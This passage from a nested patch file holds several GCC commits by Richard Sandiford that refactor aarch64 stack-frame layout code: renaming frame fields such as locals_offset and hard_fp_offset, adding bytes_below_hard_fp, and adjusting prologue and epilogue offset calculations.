+ frame.sve_callee_adjust = frame.below_hard_fp_saved_regs_size;
+- frame.final_adjust = crtl->outgoing_args_size;
++ frame.final_adjust = frame.bytes_below_saved_regs;
+ }
+
+ /* Make sure the individual adjustments add up to the full frame size. */
+@@ -9358,7 +9359,7 @@ aarch64_get_separate_components (void)
+ if (frame_pointer_needed)
+ offset -= frame.below_hard_fp_saved_regs_size;
+ else
+- offset += crtl->outgoing_args_size;
++ offset += frame.bytes_below_saved_regs;
+
+ /* Check that we can access the stack slot of the register with one
+ direct load with no adjustments needed. */
+@@ -9507,7 +9508,7 @@ aarch64_process_components (sbitmap components, bool prologue_p)
+ if (frame_pointer_needed)
+ offset -= frame.below_hard_fp_saved_regs_size;
+ else
+- offset += crtl->outgoing_args_size;
++ offset += frame.bytes_below_saved_regs;
+
+ rtx addr = plus_constant (Pmode, ptr_reg, offset);
+ rtx mem = gen_frame_mem (mode, addr);
+@@ -9561,7 +9562,7 @@ aarch64_process_components (sbitmap components, bool prologue_p)
+ if (frame_pointer_needed)
+ offset2 -= frame.below_hard_fp_saved_regs_size;
+ else
+- offset2 += crtl->outgoing_args_size;
++ offset2 += frame.bytes_below_saved_regs;
+ rtx addr2 = plus_constant (Pmode, ptr_reg, offset2);
+ rtx mem2 = gen_frame_mem (mode, addr2);
+ rtx set2 = prologue_p ? gen_rtx_SET (mem2, reg2)
+@@ -9635,10 +9636,10 @@ aarch64_stack_clash_protection_alloca_probe_range (void)
+ registers. If POLY_SIZE is not large enough to require a probe this function
+ will only adjust the stack. When allocating the stack space
+ FRAME_RELATED_P is then used to indicate if the allocation is frame related.
+- FINAL_ADJUSTMENT_P indicates whether we are allocating the outgoing
+- arguments. If we are then we ensure that any allocation larger than the ABI
+- defined buffer needs a probe so that the invariant of having a 1KB buffer is
+- maintained.
++ FINAL_ADJUSTMENT_P indicates whether we are allocating the area below
++ the saved registers. If we are then we ensure that any allocation
++ larger than the ABI defined buffer needs a probe so that the
++ invariant of having a 1KB buffer is maintained.
+
+ We emit barriers after each stack adjustment to prevent optimizations from
+ breaking the invariant that we never drop the stack more than a page. This
+@@ -9847,7 +9848,7 @@ aarch64_allocate_and_probe_stack_space (rtx temp1, rtx temp2,
+ /* Handle any residuals. Residuals of at least MIN_PROBE_THRESHOLD have to
+ be probed. This maintains the requirement that each page is probed at
+ least once. For initial probing we probe only if the allocation is
+- more than GUARD_SIZE - buffer, and for the outgoing arguments we probe
++ more than GUARD_SIZE - buffer, and below the saved registers we probe
+ if the amount is larger than buffer. GUARD_SIZE - buffer + buffer ==
+ GUARD_SIZE. This works that for any allocation that is large enough to
+ trigger a probe here, we'll have at least one, and if they're not large
+diff --git a/gcc/config/aarch64/aarch64.h b/gcc/config/aarch64/aarch64.h
+index 73b09e20508..0b6faa3ddf1 100644
+--- a/gcc/config/aarch64/aarch64.h
++++ b/gcc/config/aarch64/aarch64.h
+@@ -777,6 +777,11 @@ struct GTY (()) aarch64_frame
+ /* The size of the callee-save registers with a slot in REG_OFFSET. */
+ poly_int64 saved_regs_size;
+
++ /* The number of bytes between the bottom of the static frame (the bottom
++ of the outgoing arguments) and the bottom of the register save area.
++ This value is always a multiple of STACK_BOUNDARY. */
++ poly_int64 bytes_below_saved_regs;
++
+ /* The size of the callee-save registers with a slot in REG_OFFSET that
+ are saved below the hard frame pointer. */
+ poly_int64 below_hard_fp_saved_regs_size;
+--
+2.34.1
+
+
+From 82f6b3e1b596ef0f4e3ac3bb9c6e88fb4458f402 Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Tue, 12 Sep 2023 16:07:14 +0100
+Subject: [PATCH 05/19] aarch64: Add bytes_below_hard_fp to frame info
+
+Following on from the previous bytes_below_saved_regs patch, this one
+records the number of bytes that are below the hard frame pointer.
+This eventually replaces below_hard_fp_saved_regs_size.
+
+If a frame pointer is not needed, the epilogue adds final_adjust
+to the stack pointer before restoring registers:
+
+ aarch64_add_sp (tmp1_rtx, tmp0_rtx, final_adjust, true);
+
+Therefore, if the epilogue needs to restore the stack pointer from
+the hard frame pointer, the directly corresponding offset is:
+
+ -bytes_below_hard_fp + final_adjust
+
+i.e. go from the hard frame pointer to the bottom of the frame,
+then add the same amount as if we were using the stack pointer
+from the outset.
+
+gcc/
+ * config/aarch64/aarch64.h (aarch64_frame::bytes_below_hard_fp): New
+ field.
+ * config/aarch64/aarch64.cc (aarch64_layout_frame): Initialize it.
+ (aarch64_expand_epilogue): Use it instead of
+ below_hard_fp_saved_regs_size.
+---
+ gcc/config/aarch64/aarch64.cc | 6 +++---
+ gcc/config/aarch64/aarch64.h | 5 +++++
+ 2 files changed, 8 insertions(+), 3 deletions(-)
+
+diff --git a/gcc/config/aarch64/aarch64.cc b/gcc/config/aarch64/aarch64.cc
+index dacc2b0e4dd..a3f7aabcc59 100644
+--- a/gcc/config/aarch64/aarch64.cc
++++ b/gcc/config/aarch64/aarch64.cc
+@@ -8530,6 +8530,7 @@ aarch64_layout_frame (void)
+ of the callee save area. */
+ bool saves_below_hard_fp_p = maybe_ne (offset, 0);
+ frame.below_hard_fp_saved_regs_size = offset;
++ frame.bytes_below_hard_fp = offset + frame.bytes_below_saved_regs;
+ if (frame.emit_frame_chain)
+ {
+ /* FP and LR are placed in the linkage record. */
+@@ -10171,8 +10172,7 @@ aarch64_expand_epilogue (bool for_sibcall)
+ poly_int64 final_adjust = frame.final_adjust;
+ poly_int64 callee_offset = frame.callee_offset;
+ poly_int64 sve_callee_adjust = frame.sve_callee_adjust;
+- poly_int64 below_hard_fp_saved_regs_size
+- = frame.below_hard_fp_saved_regs_size;
++ poly_int64 bytes_below_hard_fp = frame.bytes_below_hard_fp;
+ unsigned reg1 = frame.wb_pop_candidate1;
+ unsigned reg2 = frame.wb_pop_candidate2;
+ unsigned int last_gpr = (frame.is_scs_enabled
+@@ -10230,7 +10230,7 @@ aarch64_expand_epilogue (bool for_sibcall)
+ is restored on the instruction doing the writeback. */
+ aarch64_add_offset (Pmode, stack_pointer_rtx,
+ hard_frame_pointer_rtx,
+- -callee_offset - below_hard_fp_saved_regs_size,
++ -bytes_below_hard_fp + final_adjust,
+ tmp1_rtx, tmp0_rtx, callee_adjust == 0);
+ else
+ /* The case where we need to re-use the register here is very rare, so
+diff --git a/gcc/config/aarch64/aarch64.h b/gcc/config/aarch64/aarch64.h
+index 0b6faa3ddf1..4263d29d29d 100644
+--- a/gcc/config/aarch64/aarch64.h
++++ b/gcc/config/aarch64/aarch64.h
+@@ -786,6 +786,11 @@ struct GTY (()) aarch64_frame
+ are saved below the hard frame pointer. */
+ poly_int64 below_hard_fp_saved_regs_size;
+
++ /* The number of bytes between the bottom of the static frame (the bottom
++ of the outgoing arguments) and the hard frame pointer. This value is
++ always a multiple of STACK_BOUNDARY. */
++ poly_int64 bytes_below_hard_fp;
++
+ /* Offset from the base of the frame (incomming SP) to the
+ top of the locals area. This value is always a multiple of
+ STACK_BOUNDARY. */
+--
+2.34.1
+
+
+From 86fa43e9fe4a8bf954f2919f07cbe3646d1d1df3 Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Tue, 12 Sep 2023 16:07:14 +0100
+Subject: [PATCH 06/19] aarch64: Tweak aarch64_save/restore_callee_saves
+
+aarch64_save_callee_saves and aarch64_restore_callee_saves took
+a parameter called start_offset that gives the offset of the
+bottom of the saved register area from the current stack pointer.
+However, it's more convenient for later patches if we use the
+bottom of the entire frame as the reference point, rather than
+the bottom of the saved registers.
+
+Doing that removes the need for the callee_offset field.
+Other than that, this is not a win on its own. It only really
+makes sense in combination with the follow-on patches.
+
+gcc/
+ * config/aarch64/aarch64.h (aarch64_frame::callee_offset): Delete.
+ * config/aarch64/aarch64.cc (aarch64_layout_frame): Remove
+ callee_offset handling.
+ (aarch64_save_callee_saves): Replace the start_offset parameter
+ with a bytes_below_sp parameter.
+ (aarch64_restore_callee_saves): Likewise.
+ (aarch64_expand_prologue): Update accordingly.
+ (aarch64_expand_epilogue): Likewise.
+---
+ gcc/config/aarch64/aarch64.cc | 56 +++++++++++++++++------------------
+ gcc/config/aarch64/aarch64.h | 4 ---
+ 2 files changed, 28 insertions(+), 32 deletions(-)
+
+diff --git a/gcc/config/aarch64/aarch64.cc b/gcc/config/aarch64/aarch64.cc
+index a3f7aabcc59..46ae5cf7673 100644
+--- a/gcc/config/aarch64/aarch64.cc
++++ b/gcc/config/aarch64/aarch64.cc
+@@ -8604,7 +8604,6 @@ aarch64_layout_frame (void)
+ frame.final_adjust = 0;
+ frame.callee_adjust = 0;
+ frame.sve_callee_adjust = 0;
+- frame.callee_offset = 0;
+
+ frame.wb_pop_candidate1 = frame.wb_push_candidate1;
+ frame.wb_pop_candidate2 = frame.wb_push_candidate2;
+@@ -8672,7 +8671,6 @@ aarch64_layout_frame (void)
+ stp reg1, reg2, [sp, bytes_below_saved_regs]
+ stp reg3, reg4, [sp, bytes_below_saved_regs + 16] */
+ frame.initial_adjust = frame.frame_size;
+- frame.callee_offset = const_below_saved_regs;
+ }
+ else if (saves_below_hard_fp_p
+ && known_eq (frame.saved_regs_size,
+@@ -9073,12 +9071,13 @@ aarch64_add_cfa_expression (rtx_insn *insn, rtx reg,
+ }
+
+ /* Emit code to save the callee-saved registers from register number START
+- to LIMIT to the stack at the location starting at offset START_OFFSET,
+- skipping any write-back candidates if SKIP_WB is true. HARD_FP_VALID_P
+- is true if the hard frame pointer has been set up. */
++ to LIMIT to the stack. The stack pointer is currently BYTES_BELOW_SP
++ bytes above the bottom of the static frame. Skip any write-back
++ candidates if SKIP_WB is true. HARD_FP_VALID_P is true if the hard
++ frame pointer has been set up. */
+
+ static void
+-aarch64_save_callee_saves (poly_int64 start_offset,
++aarch64_save_callee_saves (poly_int64 bytes_below_sp,
+ unsigned start, unsigned limit, bool skip_wb,
+ bool hard_fp_valid_p)
+ {
+@@ -9106,7 +9105,9 @@ aarch64_save_callee_saves (poly_int64 start_offset,
+
+ machine_mode mode = aarch64_reg_save_mode (regno);
+ reg = gen_rtx_REG (mode, regno);
+- offset = start_offset + frame.reg_offset[regno];
++ offset = (frame.reg_offset[regno]
++ + frame.bytes_below_saved_regs
++ - bytes_below_sp);
+ rtx base_rtx = stack_pointer_rtx;
+ poly_int64 sp_offset = offset;
+
+@@ -9117,9 +9118,7 @@ aarch64_save_callee_saves (poly_int64 start_offset,
+ else if (GP_REGNUM_P (regno)
+ && (!offset.is_constant (&const_offset) || const_offset >= 512))
+ {
+- gcc_assert (known_eq (start_offset, 0));
+- poly_int64 fp_offset
+- = frame.below_hard_fp_saved_regs_size;
++ poly_int64 fp_offset = frame.bytes_below_hard_fp - bytes_below_sp;
+ if (hard_fp_valid_p)
+ base_rtx = hard_frame_pointer_rtx;
+ else
+@@ -9183,12 +9182,13 @@ aarch64_save_callee_saves (poly_int64 start_offset,
+ }
+
+ /* Emit code to restore the callee registers from register number START
+- up to and including LIMIT. Restore from the stack offset START_OFFSET,
+- skipping any write-back candidates if SKIP_WB is true. Write the
+- appropriate REG_CFA_RESTORE notes into CFI_OPS. */
++ up to and including LIMIT. The stack pointer is currently BYTES_BELOW_SP
++ bytes above the bottom of the static frame. Skip any write-back
++ candidates if SKIP_WB is true. Write the appropriate REG_CFA_RESTORE
++ notes into CFI_OPS. */
+
+ static void
+-aarch64_restore_callee_saves (poly_int64 start_offset, unsigned start,
++aarch64_restore_callee_saves (poly_int64 bytes_below_sp, unsigned start,
+ unsigned limit, bool skip_wb, rtx *cfi_ops)
+ {
+ aarch64_frame &frame = cfun->machine->frame;
+@@ -9214,7 +9214,9 @@ aarch64_restore_callee_saves (poly_int64 start_offset, unsigned start,
+
+ machine_mode mode = aarch64_reg_save_mode (regno);
+ reg = gen_rtx_REG (mode, regno);
+- offset = start_offset + frame.reg_offset[regno];
++ offset = (frame.reg_offset[regno]
++ + frame.bytes_below_saved_regs
++ - bytes_below_sp);
+ rtx base_rtx = stack_pointer_rtx;
+ if (mode == VNx2DImode && BYTES_BIG_ENDIAN)
+ aarch64_adjust_sve_callee_save_base (mode, base_rtx, anchor_reg,
+@@ -9990,8 +9992,6 @@ aarch64_expand_prologue (void)
+ HOST_WIDE_INT callee_adjust = frame.callee_adjust;
+ poly_int64 final_adjust = frame.final_adjust;
+ poly_int64 sve_callee_adjust = frame.sve_callee_adjust;
+- poly_int64 below_hard_fp_saved_regs_size
+- = frame.below_hard_fp_saved_regs_size;
+ unsigned reg1 = frame.wb_push_candidate1;
+ unsigned reg2 = frame.wb_push_candidate2;
+ bool emit_frame_chain = frame.emit_frame_chain;
+@@ -10067,8 +10067,8 @@ aarch64_expand_prologue (void)
+ - frame.hard_fp_offset);
+ gcc_assert (known_ge (chain_offset, 0));
+
+- /* The offset of the bottom of the save area from the current SP. */
+- poly_int64 saved_regs_offset = chain_offset - below_hard_fp_saved_regs_size;
++ /* The offset of the current SP from the bottom of the static frame. */
++ poly_int64 bytes_below_sp = frame_size - initial_adjust - callee_adjust;
+
+ if (emit_frame_chain)
+ {
+@@ -10076,7 +10076,7 @@ aarch64_expand_prologue (void)
+ {
+ reg1 = R29_REGNUM;
+ reg2 = R30_REGNUM;
+- aarch64_save_callee_saves (saved_regs_offset, reg1, reg2,
++ aarch64_save_callee_saves (bytes_below_sp, reg1, reg2,
+ false, false);
+ }
+ else
+@@ -10116,7 +10116,7 @@ aarch64_expand_prologue (void)
+ emit_insn (gen_stack_tie (stack_pointer_rtx, hard_frame_pointer_rtx));
+ }
+
+- aarch64_save_callee_saves (saved_regs_offset, R0_REGNUM, R30_REGNUM,
++ aarch64_save_callee_saves (bytes_below_sp, R0_REGNUM, R30_REGNUM,
+ callee_adjust != 0 || emit_frame_chain,
+ emit_frame_chain);
+ if (maybe_ne (sve_callee_adjust, 0))
+@@ -10126,16 +10126,17 @@ aarch64_expand_prologue (void)
+ aarch64_allocate_and_probe_stack_space (tmp1_rtx, tmp0_rtx,
+ sve_callee_adjust,
+ !frame_pointer_needed, false);
+- saved_regs_offset += sve_callee_adjust;
++ bytes_below_sp -= sve_callee_adjust;
+ }
+- aarch64_save_callee_saves (saved_regs_offset, P0_REGNUM, P15_REGNUM,
++ aarch64_save_callee_saves (bytes_below_sp, P0_REGNUM, P15_REGNUM,
+ false, emit_frame_chain);
+- aarch64_save_callee_saves (saved_regs_offset, V0_REGNUM, V31_REGNUM,
++ aarch64_save_callee_saves (bytes_below_sp, V0_REGNUM, V31_REGNUM,
+ callee_adjust != 0 || emit_frame_chain,
+ emit_frame_chain);
+
+ /* We may need to probe the final adjustment if it is larger than the guard
+ that is assumed by the called. */
++ gcc_assert (known_eq (bytes_below_sp, final_adjust));
+ aarch64_allocate_and_probe_stack_space (tmp1_rtx, tmp0_rtx, final_adjust,
+ !frame_pointer_needed, true);
+ }
+@@ -10170,7 +10171,6 @@ aarch64_expand_epilogue (bool for_sibcall)
+ poly_int64 initial_adjust = frame.initial_adjust;
+ HOST_WIDE_INT callee_adjust = frame.callee_adjust;
+ poly_int64 final_adjust = frame.final_adjust;
+- poly_int64 callee_offset = frame.callee_offset;
+ poly_int64 sve_callee_adjust = frame.sve_callee_adjust;
+ poly_int64 bytes_below_hard_fp = frame.bytes_below_hard_fp;
+ unsigned reg1 = frame.wb_pop_candidate1;
+@@ -10240,9 +10240,9 @@ aarch64_expand_epilogue (bool for_sibcall)
+
+ /* Restore the vector registers before the predicate registers,
+ so that we can use P4 as a temporary for big-endian SVE frames. */
+- aarch64_restore_callee_saves (callee_offset, V0_REGNUM, V31_REGNUM,
++ aarch64_restore_callee_saves (final_adjust, V0_REGNUM, V31_REGNUM,
+ callee_adjust != 0, &cfi_ops);
+- aarch64_restore_callee_saves (callee_offset, P0_REGNUM, P15_REGNUM,
++ aarch64_restore_callee_saves (final_adjust, P0_REGNUM, P15_REGNUM,
+ false, &cfi_ops);
+ if (maybe_ne (sve_callee_adjust, 0))
+ aarch64_add_sp (NULL_RTX, NULL_RTX, sve_callee_adjust, true);
+@@ -10250,7 +10250,7 @@ aarch64_expand_epilogue (bool for_sibcall)
+ /* When shadow call stack is enabled, the scs_pop in the epilogue will
+ restore x30, we don't need to restore x30 again in the traditional
+ way. */
+- aarch64_restore_callee_saves (callee_offset - sve_callee_adjust,
++ aarch64_restore_callee_saves (final_adjust + sve_callee_adjust,
+ R0_REGNUM, last_gpr,
+ callee_adjust != 0, &cfi_ops);
+
+diff --git a/gcc/config/aarch64/aarch64.h b/gcc/config/aarch64/aarch64.h
+index 4263d29d29d..fd820b1be4e 100644
+--- a/gcc/config/aarch64/aarch64.h
++++ b/gcc/config/aarch64/aarch64.h
+@@ -813,10 +813,6 @@ struct GTY (()) aarch64_frame
+ It is zero when no push is used. */
+ HOST_WIDE_INT callee_adjust;
+
+- /* The offset from SP to the callee-save registers after initial_adjust.
+- It may be non-zero if no push is used (ie. callee_adjust == 0). */
+- poly_int64 callee_offset;
+-
+ /* The size of the stack adjustment before saving or after restoring
+ SVE registers. */
+ poly_int64 sve_callee_adjust;
+--
+2.34.1
+
+
+From 8ae9181426f2700c2e5a2909487fa630e6fa406b Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Tue, 12 Sep 2023 16:07:15 +0100
+Subject: [PATCH 07/19] aarch64: Only calculate chain_offset if there is a
+ chain
+
+After previous patches, it is no longer necessary to calculate
+a chain_offset in cases where there is no chain record.
+
+gcc/
+ * config/aarch64/aarch64.cc (aarch64_expand_prologue): Move the
+ calculation of chain_offset into the emit_frame_chain block.
+---
+ gcc/config/aarch64/aarch64.cc | 10 +++++-----
+ 1 file changed, 5 insertions(+), 5 deletions(-)
+
+diff --git a/gcc/config/aarch64/aarch64.cc b/gcc/config/aarch64/aarch64.cc
+index 46ae5cf7673..0e9b9717c08 100644
+--- a/gcc/config/aarch64/aarch64.cc
++++ b/gcc/config/aarch64/aarch64.cc
+@@ -10062,16 +10062,16 @@ aarch64_expand_prologue (void)
+ if (callee_adjust != 0)
+ aarch64_push_regs (reg1, reg2, callee_adjust);
+
+- /* The offset of the frame chain record (if any) from the current SP. */
+- poly_int64 chain_offset = (initial_adjust + callee_adjust
+- - frame.hard_fp_offset);
+- gcc_assert (known_ge (chain_offset, 0));
+-
+ /* The offset of the current SP from the bottom of the static frame. */
+ poly_int64 bytes_below_sp = frame_size - initial_adjust - callee_adjust;
+
+ if (emit_frame_chain)
+ {
++ /* The offset of the frame chain record (if any) from the current SP. */
++ poly_int64 chain_offset = (initial_adjust + callee_adjust
++ - frame.hard_fp_offset);
++ gcc_assert (known_ge (chain_offset, 0));
++
+ if (callee_adjust == 0)
+ {
+ reg1 = R29_REGNUM;
+--
+2.34.1
+
+
+From 375794feb614cee1f41b710b9cc1b6f25da6c1cb Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Tue, 12 Sep 2023 16:07:15 +0100
+Subject: [PATCH 08/19] aarch64: Rename locals_offset to bytes_above_locals
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+locals_offset was described as:
+
+ /* Offset from the base of the frame (incomming SP) to the
+ top of the locals area. This value is always a multiple of
+ STACK_BOUNDARY. */
+
+This is implicitly an “upside down” view of the frame: the incoming
+SP is at offset 0, and anything N bytes below the incoming SP is at
+offset N (rather than -N).
+
+However, reg_offset instead uses a “right way up” view; that is,
+it views offsets in address terms. Something above X is at a
+positive offset from X and something below X is at a negative
+offset from X.
+
+Also, even on FRAME_GROWS_DOWNWARD targets like AArch64,
+target-independent code views offsets in address terms too:
+locals are allocated at negative offsets to virtual_stack_vars.
+
+It seems confusing to have *_offset fields of the same structure
+using different polarities like this. This patch tries to avoid
+that by renaming locals_offset to bytes_above_locals.
+
+gcc/
+ * config/aarch64/aarch64.h (aarch64_frame::locals_offset): Rename to...
+ (aarch64_frame::bytes_above_locals): ...this.
+ * config/aarch64/aarch64.cc (aarch64_layout_frame)
+ (aarch64_initial_elimination_offset): Update accordingly.
+---
+ gcc/config/aarch64/aarch64.cc | 6 +++---
+ gcc/config/aarch64/aarch64.h | 6 +++---
+ 2 files changed, 6 insertions(+), 6 deletions(-)
+
+diff --git a/gcc/config/aarch64/aarch64.cc b/gcc/config/aarch64/aarch64.cc
+index 0e9b9717c08..0a22f91520e 100644
+--- a/gcc/config/aarch64/aarch64.cc
++++ b/gcc/config/aarch64/aarch64.cc
+@@ -8598,7 +8598,7 @@ aarch64_layout_frame (void)
+ STACK_BOUNDARY / BITS_PER_UNIT));
+ frame.frame_size = saved_regs_and_above + frame.bytes_below_saved_regs;
+
+- frame.locals_offset = frame.saved_varargs_size;
++ frame.bytes_above_locals = frame.saved_varargs_size;
+
+ frame.initial_adjust = 0;
+ frame.final_adjust = 0;
+@@ -12754,13 +12754,13 @@ aarch64_initial_elimination_offset (unsigned from, unsigned to)
+ return frame.hard_fp_offset;
+
+ if (from == FRAME_POINTER_REGNUM)
+- return frame.hard_fp_offset - frame.locals_offset;
++ return frame.hard_fp_offset - frame.bytes_above_locals;
+ }
+
+ if (to == STACK_POINTER_REGNUM)
+ {
+ if (from == FRAME_POINTER_REGNUM)
+- return frame.frame_size - frame.locals_offset;
++ return frame.frame_size - frame.bytes_above_locals;
+ }
+
+ return frame.frame_size;
+diff --git a/gcc/config/aarch64/aarch64.h b/gcc/config/aarch64/aarch64.h
+index fd820b1be4e..7ae12d13e2b 100644
+--- a/gcc/config/aarch64/aarch64.h
++++ b/gcc/config/aarch64/aarch64.h
+@@ -791,10 +791,10 @@ struct GTY (()) aarch64_frame
+ always a multiple of STACK_BOUNDARY. */
+ poly_int64 bytes_below_hard_fp;
+
+- /* Offset from the base of the frame (incomming SP) to the
+- top of the locals area. This value is always a multiple of
++ /* The number of bytes between the top of the locals area and the top
++ of the frame (the incomming SP). This value is always a multiple of
+ STACK_BOUNDARY. */
+- poly_int64 locals_offset;
++ poly_int64 bytes_above_locals;
+
+ /* Offset from the base of the frame (incomming SP) to the
+ hard_frame_pointer. This value is always a multiple of
+--
+2.34.1
+
+
+From 1a9ea1c45c75615ffbfabe652b3598a1d7be2168 Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Tue, 12 Sep 2023 16:07:16 +0100
+Subject: [PATCH 09/19] aarch64: Rename hard_fp_offset to bytes_above_hard_fp
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Similarly to the previous locals_offset patch, hard_fp_offset
+was described as:
+
+ /* Offset from the base of the frame (incomming SP) to the
+ hard_frame_pointer. This value is always a multiple of
+ STACK_BOUNDARY. */
+ poly_int64 hard_fp_offset;
+
+which again took an “upside-down” view: higher offsets meant lower
+addresses. This patch renames the field to bytes_above_hard_fp instead.
+
+gcc/
+ * config/aarch64/aarch64.h (aarch64_frame::hard_fp_offset): Rename
+ to...
+ (aarch64_frame::bytes_above_hard_fp): ...this.
+ * config/aarch64/aarch64.cc (aarch64_layout_frame)
+ (aarch64_expand_prologue): Update accordingly.
+ (aarch64_initial_elimination_offset): Likewise.
+---
+ gcc/config/aarch64/aarch64.cc | 26 +++++++++++++-------------
+ gcc/config/aarch64/aarch64.h | 6 +++---
+ 2 files changed, 16 insertions(+), 16 deletions(-)
+
+diff --git a/gcc/config/aarch64/aarch64.cc b/gcc/config/aarch64/aarch64.cc
+index 0a22f91520e..95499ae49ba 100644
+--- a/gcc/config/aarch64/aarch64.cc
++++ b/gcc/config/aarch64/aarch64.cc
+@@ -8590,7 +8590,7 @@ aarch64_layout_frame (void)
+ + get_frame_size (),
+ STACK_BOUNDARY / BITS_PER_UNIT);
+
+- frame.hard_fp_offset
++ frame.bytes_above_hard_fp
+ = saved_regs_and_above - frame.below_hard_fp_saved_regs_size;
+
+ /* Both these values are already aligned. */
+@@ -8639,13 +8639,13 @@ aarch64_layout_frame (void)
+ else if (frame.wb_pop_candidate1 != INVALID_REGNUM)
+ max_push_offset = 256;
+
+- HOST_WIDE_INT const_size, const_below_saved_regs, const_fp_offset;
++ HOST_WIDE_INT const_size, const_below_saved_regs, const_above_fp;
+ HOST_WIDE_INT const_saved_regs_size;
+ if (known_eq (frame.saved_regs_size, 0))
+ frame.initial_adjust = frame.frame_size;
+ else if (frame.frame_size.is_constant (&const_size)
+ && const_size < max_push_offset
+- && known_eq (frame.hard_fp_offset, const_size))
++ && known_eq (frame.bytes_above_hard_fp, const_size))
+ {
+ /* Simple, small frame with no data below the saved registers.
+
+@@ -8662,8 +8662,8 @@ aarch64_layout_frame (void)
+ case that it hardly seems worth the effort though. */
+ && (!saves_below_hard_fp_p || const_below_saved_regs == 0)
+ && !(cfun->calls_alloca
+- && frame.hard_fp_offset.is_constant (&const_fp_offset)
+- && const_fp_offset < max_push_offset))
++ && frame.bytes_above_hard_fp.is_constant (&const_above_fp)
++ && const_above_fp < max_push_offset))
+ {
+ /* Frame with small area below the saved registers:
+
+@@ -8681,12 +8681,12 @@ aarch64_layout_frame (void)
+ sub sp, sp, hard_fp_offset + below_hard_fp_saved_regs_size
+ save SVE registers relative to SP
+ sub sp, sp, bytes_below_saved_regs */
+- frame.initial_adjust = (frame.hard_fp_offset
++ frame.initial_adjust = (frame.bytes_above_hard_fp
+ + frame.below_hard_fp_saved_regs_size);
+ frame.final_adjust = frame.bytes_below_saved_regs;
+ }
+- else if (frame.hard_fp_offset.is_constant (&const_fp_offset)
+- && const_fp_offset < max_push_offset)
++ else if (frame.bytes_above_hard_fp.is_constant (&const_above_fp)
++ && const_above_fp < max_push_offset)
+ {
+ /* Frame with large area below the saved registers, or with SVE saves,
+ but with a small area above:
+@@ -8696,7 +8696,7 @@ aarch64_layout_frame (void)
+ [sub sp, sp, below_hard_fp_saved_regs_size]
+ [save SVE registers relative to SP]
+ sub sp, sp, bytes_below_saved_regs */
+- frame.callee_adjust = const_fp_offset;
++ frame.callee_adjust = const_above_fp;
+ frame.sve_callee_adjust = frame.below_hard_fp_saved_regs_size;
+ frame.final_adjust = frame.bytes_below_saved_regs;
+ }
+@@ -8711,7 +8711,7 @@ aarch64_layout_frame (void)
+ [sub sp, sp, below_hard_fp_saved_regs_size]
+ [save SVE registers relative to SP]
+ sub sp, sp, bytes_below_saved_regs */
+- frame.initial_adjust = frame.hard_fp_offset;
++ frame.initial_adjust = frame.bytes_above_hard_fp;
+ frame.sve_callee_adjust = frame.below_hard_fp_saved_regs_size;
+ frame.final_adjust = frame.bytes_below_saved_regs;
+ }
+@@ -10069,7 +10069,7 @@ aarch64_expand_prologue (void)
+ {
+ /* The offset of the frame chain record (if any) from the current SP. */
+ poly_int64 chain_offset = (initial_adjust + callee_adjust
+- - frame.hard_fp_offset);
++ - frame.bytes_above_hard_fp);
+ gcc_assert (known_ge (chain_offset, 0));
+
+ if (callee_adjust == 0)
+@@ -12751,10 +12751,10 @@ aarch64_initial_elimination_offset (unsigned from, unsigned to)
+ if (to == HARD_FRAME_POINTER_REGNUM)
+ {
+ if (from == ARG_POINTER_REGNUM)
+- return frame.hard_fp_offset;
++ return frame.bytes_above_hard_fp;
+
+ if (from == FRAME_POINTER_REGNUM)
+- return frame.hard_fp_offset - frame.bytes_above_locals;
++ return frame.bytes_above_hard_fp - frame.bytes_above_locals;
+ }
+
+ if (to == STACK_POINTER_REGNUM)
+diff --git a/gcc/config/aarch64/aarch64.h b/gcc/config/aarch64/aarch64.h
+index 7ae12d13e2b..3808f49e9ca 100644
+--- a/gcc/config/aarch64/aarch64.h
++++ b/gcc/config/aarch64/aarch64.h
+@@ -796,10 +796,10 @@ struct GTY (()) aarch64_frame
+ STACK_BOUNDARY. */
+ poly_int64 bytes_above_locals;
+
+- /* Offset from the base of the frame (incomming SP) to the
+- hard_frame_pointer. This value is always a multiple of
++ /* The number of bytes between the hard_frame_pointer and the top of
++ the frame (the incomming SP). This value is always a multiple of
+ STACK_BOUNDARY. */
+- poly_int64 hard_fp_offset;
++ poly_int64 bytes_above_hard_fp;
+
+ /* The size of the frame. This value is the offset from base of the
+ frame (incomming SP) to the stack_pointer. This value is always
+--
+2.34.1
+
+
+From d202ce1ecf60a36a3e1009917dd76109248ce9be Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Tue, 12 Sep 2023 16:07:16 +0100
+Subject: [PATCH 10/19] aarch64: Tweak frame_size comment
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+This patch fixes another case in which a value was described with
+an “upside-down” view.
+
+gcc/
+ * config/aarch64/aarch64.h (aarch64_frame::frame_size): Tweak comment.
+---
+ gcc/config/aarch64/aarch64.h | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/gcc/config/aarch64/aarch64.h b/gcc/config/aarch64/aarch64.h
+index 3808f49e9ca..108a5731b0d 100644
+--- a/gcc/config/aarch64/aarch64.h
++++ b/gcc/config/aarch64/aarch64.h
+@@ -801,8 +801,8 @@ struct GTY (()) aarch64_frame
+ STACK_BOUNDARY. */
+ poly_int64 bytes_above_hard_fp;
+
+- /* The size of the frame. This value is the offset from base of the
+- frame (incomming SP) to the stack_pointer. This value is always
++ /* The size of the frame, i.e. the number of bytes between the bottom
++ of the outgoing arguments and the incoming SP. This value is always
+ a multiple of STACK_BOUNDARY. */
+ poly_int64 frame_size;
+
+--
+2.34.1
+
+
+From f2b585375205b0a1802d79c682ba33766ecd1f0f Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Tue, 12 Sep 2023 16:07:17 +0100
+Subject: [PATCH 11/19] aarch64: Measure reg_offset from the bottom of the
+ frame
+
